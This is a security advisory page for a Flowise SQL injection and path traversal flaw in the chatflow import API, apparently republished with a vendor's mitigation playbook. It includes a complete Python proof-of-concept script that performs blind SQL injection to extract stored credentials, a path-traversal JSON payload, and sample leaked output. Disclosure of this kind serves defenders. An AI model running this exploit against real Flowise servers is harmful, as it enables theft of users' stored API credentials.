GHSA-9c4c-g95m-c8cp
MEDIUMFlowiseDB vulnerable to SQL Injection by authenticated users
Blast Radius
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flowisenpmDescription
Summary
import functions are vulnerable.
Details
Authenticated user can call importChatflows API, import json file such as AllChatflows.json.
but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.
Issue 1 (Bug Type)
- Malicious user creates
AllChatflows.jsonfile by adding../and arbitrary path to the chatflow.id of the json file.{ "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] } - Victim download this file, and import this to flowise.
- When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.
Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.
// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
try {
const appServer = getRunningExpressApp()
// step 1 - check whether file chatflows array is zero
if (newChatflows.length == 0) return
// step 2 - check whether ids are duplicate in database
let ids = '('
let count: number = 0
const lastCount = newChatflows.length - 1
newChatflows.forEach((newChatflow) => {
ids += `'${newChatflow.id}'` // <===== user input
if (lastCount != count) ids += ','
if (lastCount == count) ids += ')'
count += 1
})
const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
.createQueryBuilder('cf')
.select('cf.id')
.where(`cf.id IN ${ids}`) // <===== here
.getMany()
const foundIds = selectResponse.map((response) => {
return response.id
})
It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above.
When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.
PoC
import argparse
import requests
def import_chatflows(
url: str,
token: str,
payload: dict
):
response = requests.post(
f'{url}/api/v1/chatflows/importchatflows',
headers={
'Authorization': f'Bearer {token}'
# 'Authorization': f'Basic {token}'
},
json=payload
)
return response.json()
def import_normal_data(
api_url: str,
token: str,
normal_data: str
):
data_id = 'aaaaaa'
payload = {
"Chatflows": [
{
"id": data_id,
"name": normal_data,
"flowData": "{}"
}
]
}
import_chatflows(
url=api_url,
token=token,
payload=payload
)
return data_id
def get_character(
api_url: str,
token: str,
data_id: str,
column_name: str,
index: int
):
injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
bitbox = [
64, 32, 16, 8, 4, 2, 1
]
character = 0
for bit in bitbox:
payload = create_payload(c=character + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# character is more then bit
character += bit
else:
# character is less then bit
character += 0
return chr(character)
def get_length(
api_url: str,
token: str,
data_id: str,
column_name: str
):
injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
column_len = 0
bitbox = [
256, 128, 64, 32, 16, 8, 4, 2, 1
]
for bit in bitbox:
payload = create_payload(c=column_len + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# column_len is more then bit
column_len += bit
else:
# column_len is less then bit
column_len += 0
return column_len
def main(
url: str,
token: str
):
api_url = url
column_box = [
'credentialName',
'encryptedData'
]
data_id = import_normal_data(
api_url=api_url,
token=token,
normal_data='flow01'
)
for column_name in column_box:
column_len = get_length(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name
)
print(f'[+] {column_name} length is {column_len}')
result = ''
for i in range(column_len):
result += get_character(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name,
index=i + 1
)
print(f'[+] {column_name}: {result}')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--url',
type=str,
default='http://flowise:3000'
)
parser.add_argument(
'--access',
type=str,
required=True,
help='Get from http://flowise:3000/apikey'
)
m_args = parser.parse_args()
main(
url=m_args.url,
token=m_args.access
)
poc results: encryptedData from flowise database credential table was successfully leaked.
/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==
It is recommended to limit all chatflow ids & chat ids to UUID.
Impact
- Database leak
- Lateral Movement
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of flowise has shipped for GHSA-9c4c-g95m-c8cp yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9c4c-g95m-c8cp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9c4c-g95m-c8cp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9c4c-g95m-c8cp in your dependencies?
O3 detects GHSA-9c4c-g95m-c8cp across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.